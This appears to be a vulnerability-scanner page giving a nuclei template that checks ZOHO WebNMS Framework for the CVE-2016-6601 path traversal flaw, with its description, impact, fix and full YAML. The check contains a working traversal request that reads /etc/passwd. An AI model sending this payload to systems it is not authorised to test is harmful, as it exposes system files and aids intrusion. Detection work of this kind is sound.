ZOHO WebNMS Framework <5.2 SP1 - Local File Inclusion

highseverity

7.5CVSS score

97.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

ZOHO WebNMS Framework before version 5.2 SP1 is vulnerable local file inclusion which allows an attacker to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or complete compromise of the affected system.

Fix

Upgrade to ZOHO WebNMS Framework version 5.2 SP1 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/servlets/FetchFile?fileName=../../../etc/passwd
Positive when: matches /root:.*:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2016-6601 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-6601

info:
  name: ZOHO WebNMS Framework <5.2 SP1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: ZOHO WebNMS Framework before version 5.2 SP1 is vulnerable local file inclusion which allows an attacker to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or complete compromise of the affected system.
  remediation: |
    Upgrade to ZOHO WebNMS Framework version 5.2 SP1 or later to mitigate this vulnerability.
  reference:
    - https://github.com/pedrib/PoC/blob/master/advisories/webnms-5.2-sp1-pwn.txt
    - https://www.exploit-db.com/exploits/40229/
    - https://nvd.nist.gov/vuln/detail/CVE-2016-6601
    - http://www.rapid7.com/db/modules/auxiliary/admin/http/webnms_cred_disclosure
    - http://www.rapid7.com/db/modules/auxiliary/admin/http/webnms_file_download
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2016-6601
    cwe-id: CWE-22
    epss-score: 0.97532
    epss-percentile: 0.999
    cpe: cpe:2.3:a:zohocorp:webnms_framework:5.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zohocorp
    product: webnms_framework
  tags: cve2016,cve,edb,zoho,lfi,webnms,zohocorp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/servlets/FetchFile?fileName=../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from